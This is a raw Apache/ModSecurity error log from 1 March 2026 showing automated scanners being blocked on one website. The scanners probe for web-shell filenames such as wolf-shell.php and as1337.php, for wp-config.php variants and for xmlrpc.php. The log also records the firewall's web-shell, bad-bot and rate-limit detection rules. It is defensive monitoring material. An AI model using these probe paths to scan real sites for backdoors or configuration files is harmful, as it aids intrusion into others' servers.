[Sun Mar 01 13:29:39.268324 2026] [:error] [pid 42619:tid 42626] [client 158.158.52.178:4731] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPOwx_zUXcYaZE4AOdc4AAAAUU"]
[Sun Mar 01 13:29:39.745582 2026] [:error] [pid 41342:tid 41362] [client 158.158.52.178:4610] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPOw44iJ6RAS5CatDk6lAAAAhE"]
[Sun Mar 01 13:29:40.229106 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:25986] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPOxMONkVoocLIqzy3-rAAAA8U"]
[Sun Mar 01 13:29:40.723019 2026] [:error] [pid 41342:tid 41351] [client 158.158.52.178:25991] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/un.php"] [unique_id "aaPOxI4iJ6RAS5CatDk6mgAAAgY"]
[Sun Mar 01 13:29:41.213211 2026] [proxy_fcgi:error] [pid 41780:tid 41797] [client 158.158.52.178:24099] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:29:41.454378 2026] [proxy_fcgi:error] [pid 41780:tid 41786] [client 158.158.52.178:24099] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:29:41.696657 2026] [proxy_fcgi:error] [pid 41780:tid 41785] [client 158.158.52.178:24099] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:45:05.254289 2026] [:error] [pid 38034:tid 38061] [client 185.193.157.209:43582] [client 185.193.157.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.209, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaPSYQxtfZjwlJok9K9RlAAAARc"]
[Sun Mar 01 13:45:05.266781 2026] [proxy_fcgi:error] [pid 38034:tid 38061] [client 185.193.157.209:43582] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:45:07.655716 2026] [:error] [pid 38241:tid 38246] [client 185.193.157.209:43596] [client 185.193.157.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaPSY_KRPk6YnJBxw_z7TgAAAMI"]
[Sun Mar 01 13:45:07.950151 2026] [:error] [pid 38034:tid 38054] [client 185.193.157.209:43604] [client 185.193.157.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaPSYwxtfZjwlJok9K9RuAAAARA"]
[Sun Mar 01 13:45:08.244281 2026] [:error] [pid 44644:tid 44663] [client 185.193.157.209:43608] [client 185.193.157.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaPSZJ3RJaXMcw3y9V9HIwAAABA"]
[Sun Mar 01 13:45:08.538059 2026] [:error] [pid 44644:tid 44658] [client 185.193.157.209:43610] [client 185.193.157.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaPSZJ3RJaXMcw3y9V9HJwAAAAs"]
[Sun Mar 01 13:45:09.037863 2026] [:error] [pid 38034:tid 38060] [client 185.193.157.209:43614] [client 185.193.157.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaPSZQxtfZjwlJok9K9RygAAARY"]
[Sun Mar 01 13:45:10.394836 2026] [:error] [pid 44644:tid 44666] [client 185.193.157.209:43616] [client 185.193.157.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaPSZp3RJaXMcw3y9V9HRAAAABM"]
[Sun Mar 01 14:16:17.490075 2026] [:error] [pid 37032:tid 37051] [client 74.243.251.125:13518] [client 74.243.251.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaPZseu0U4o7eSImsVQNEQAAAZE"]
[Sun Mar 01 14:16:17.823672 2026] [proxy_fcgi:error] [pid 37032:tid 37043] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:18.154297 2026] [proxy_fcgi:error] [pid 37032:tid 37034] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:18.319888 2026] [proxy_fcgi:error] [pid 37032:tid 37056] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:18.485138 2026] [proxy_fcgi:error] [pid 37032:tid 37043] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:18.651292 2026] [proxy_fcgi:error] [pid 37032:tid 37057] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:18.817948 2026] [proxy_fcgi:error] [pid 37032:tid 37039] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:18.983362 2026] [proxy_fcgi:error] [pid 37032:tid 37056] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:19.150434 2026] [proxy_fcgi:error] [pid 37032:tid 37035] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:19.317347 2026] [proxy_fcgi:error] [pid 37032:tid 37043] [client 74.243.251.125:13873] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:16:19.479030 2026] [:error] [pid 37032:tid 37048] [client 74.243.251.125:13873] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaPZs-u0U4o7eSImsVQNKgAAAY4"]
[Sun Mar 01 14:16:19.802287 2026] [:error] [pid 44644:tid 44650] [client 74.243.251.125:13835] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaPZs53RJaXMcw3y9V9jJQAAAAM"]
[Sun Mar 01 14:16:20.125009 2026] [:error] [pid 41967:tid 41982] [client 74.243.251.125:13877] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaPZtIO1bqY181I02eF6NwAAAI0"]
[Sun Mar 01 14:16:20.447881 2026] [:error] [pid 37032:tid 37043] [client 74.243.251.125:13521] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaPZtOu0U4o7eSImsVQNLgAAAYk"]
[Sun Mar 01 14:16:20.781562 2026] [:error] [pid 41967:tid 41970] [client 74.243.251.125:13506] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaPZtIO1bqY181I02eF6OAAAAIE"]
[Sun Mar 01 14:16:21.105167 2026] [:error] [pid 41780:tid 41791] [client 74.243.251.125:13522] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaPZtcONkVoocLIqzy0HcAAAA8g"]
[Sun Mar 01 14:16:21.428293 2026] [:error] [pid 37032:tid 37044] [client 74.243.251.125:13507] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaPZteu0U4o7eSImsVQNMQAAAYo"]
[Sun Mar 01 14:16:21.751299 2026] [:error] [pid 38034:tid 38059] [client 74.243.251.125:13556] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaPZtQxtfZjwlJok9K9zEAAAARU"]
[Sun Mar 01 14:16:22.074554 2026] [:error] [pid 42619:tid 42642] [client 74.243.251.125:13833] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaPZth_zUXcYaZE4AOdyQwAAAVU"]
[Sun Mar 01 14:16:22.397349 2026] [:error] [pid 38241:tid 38264] [client 74.243.251.125:13880] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaPZtvKRPk6YnJBxw_wU2AAAANQ"]
[Sun Mar 01 14:16:22.720474 2026] [:error] [pid 44644:tid 44654] [client 74.243.251.125:13887] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaPZtp3RJaXMcw3y9V9jLAAAAAc"]
[Sun Mar 01 14:16:23.043707 2026] [:error] [pid 38241:tid 38264] [client 74.243.251.125:13831] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaPZt_KRPk6YnJBxw_wU3AAAANQ"]
[Sun Mar 01 14:16:23.368195 2026] [:error] [pid 38241:tid 38251] [client 74.243.251.125:13837] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaPZt_KRPk6YnJBxw_wU4QAAAMc"]
[Sun Mar 01 14:16:23.691908 2026] [:error] [pid 41780:tid 41794] [client 74.243.251.125:13851] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaPZt8ONkVoocLIqzy0HcgAAA8s"]
[Sun Mar 01 14:16:24.015454 2026] [:error] [pid 37032:tid 37034] [client 74.243.251.125:13832] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaPZuOu0U4o7eSImsVQNNwAAAYA"]
[Sun Mar 01 14:16:24.338223 2026] [:error] [pid 38241:tid 38257] [client 74.243.251.125:13878] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaPZuPKRPk6YnJBxw_wU5gAAAM0"]
[Sun Mar 01 14:16:24.661107 2026] [:error] [pid 38241:tid 38264] [client 74.243.251.125:13864] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zeal.php"] [unique_id "aaPZuPKRPk6YnJBxw_wU6AAAANQ"]
[Sun Mar 01 14:16:24.984594 2026] [:error] [pid 38241:tid 38251] [client 74.243.251.125:13511] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zeal.php"] [unique_id "aaPZuPKRPk6YnJBxw_wU6wAAAMc"]
[Sun Mar 01 14:16:25.309135 2026] [:error] [pid 44644:tid 44654] [client 74.243.251.125:13534] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zeal.php"] [unique_id "aaPZuZ3RJaXMcw3y9V9jMgAAAAc"]
[Sun Mar 01 14:16:25.633231 2026] [:error] [pid 44644:tid 44658] [client 74.243.251.125:13854] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zeal.php"] [unique_id "aaPZuZ3RJaXMcw3y9V9jNAAAAAs"]
[Sun Mar 01 14:16:25.956188 2026] [:error] [pid 44644:tid 44652] [client 74.243.251.125:13886] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaPZuZ3RJaXMcw3y9V9jOQAAAAU"]
[Sun Mar 01 14:16:26.279906 2026] [:error] [pid 41967:tid 41972] [client 74.243.251.125:13872] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaPZuoO1bqY181I02eF6QgAAAIM"]
[Sun Mar 01 14:16:26.603496 2026] [:error] [pid 44644:tid 44658] [client 74.243.251.125:13850] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaPZup3RJaXMcw3y9V9jPAAAAAs"]
[Sun Mar 01 14:16:26.926605 2026] [:error] [pid 42619:tid 42638] [client 74.243.251.125:13836] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaPZuh_zUXcYaZE4AOdyTQAAAVE"]
[Sun Mar 01 14:16:27.250433 2026] [:error] [pid 42619:tid 42643] [client 74.243.251.125:13853] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaPZux_zUXcYaZE4AOdyUQAAAVY"]
[Sun Mar 01 14:16:27.574051 2026] [:error] [pid 42619:tid 42632] [client 74.243.251.125:13539] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaPZux_zUXcYaZE4AOdyVgAAAUs"]
[Sun Mar 01 14:16:27.897010 2026] [:error] [pid 38034:tid 38059] [client 74.243.251.125:13852] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaPZuwxtfZjwlJok9K9zHAAAARU"]
[Sun Mar 01 14:16:28.220645 2026] [:error] [pid 38034:tid 38062] [client 74.243.251.125:13565] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaPZvAxtfZjwlJok9K9zIQAAARg"]
[Sun Mar 01 14:29:32.320744 2026] [:error] [pid 44644:tid 44670] [client 62.60.131.218:54738] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aaPczJ3RJaXMcw3y9V9vLQAAABc"]
[Sun Mar 01 17:02:56.285308 2026] [proxy_fcgi:error] [pid 7133:tid 7153] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:56.494648 2026] [proxy_fcgi:error] [pid 7133:tid 7150] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:56.702915 2026] [proxy_fcgi:error] [pid 7133:tid 7142] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:56.910198 2026] [proxy_fcgi:error] [pid 7133:tid 7159] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:57.121679 2026] [proxy_fcgi:error] [pid 7133:tid 7145] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:57.340286 2026] [proxy_fcgi:error] [pid 7133:tid 7158] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:57.550853 2026] [proxy_fcgi:error] [pid 7133:tid 7151] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:57.770684 2026] [proxy_fcgi:error] [pid 7133:tid 7141] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:57.980630 2026] [proxy_fcgi:error] [pid 7133:tid 7139] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:58.191781 2026] [proxy_fcgi:error] [pid 7133:tid 7136] [client 20.104.206.150:23920] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:02:58.407696 2026] [:error] [pid 7133:tid 7155] [client 20.104.206.150:23920] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaQAwvCtubh8pR64qB_gMwAAAFQ"]
[Sun Mar 01 17:02:59.572421 2026] [:error] [pid 40750:tid 40774] [client 20.104.206.150:54610] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaQAwwfBuk03yQKDyqsHYAAAAdU"]
[Sun Mar 01 17:03:00.331729 2026] [:error] [pid 40750:tid 40761] [client 20.104.206.150:57162] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaQAxAfBuk03yQKDyqsHZgAAAcg"]
[Sun Mar 01 17:03:00.891446 2026] [:error] [pid 7133:tid 7135] [client 20.104.206.150:23719] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaQAxPCtubh8pR64qB_gNAAAAEA"]
[Sun Mar 01 17:03:01.594933 2026] [:error] [pid 38241:tid 38268] [client 20.104.206.150:54607] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaQAxfKRPk6YnJBxw_yGCwAAANg"]
[Sun Mar 01 17:03:02.115241 2026] [:error] [pid 40750:tid 40753] [client 20.104.206.150:23894] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaQAxgfBuk03yQKDyqsHeAAAAcA"]
[Sun Mar 01 17:03:02.692409 2026] [:error] [pid 7165:tid 7169] [client 20.104.206.150:54606] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaQAxhRjCrA8qWBjgG9kiwAAAkI"]
[Sun Mar 01 17:03:03.230969 2026] [:error] [pid 38034:tid 38051] [client 20.104.206.150:54629] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaQAxwxtfZjwlJok9K_iZwAAAQ0"]
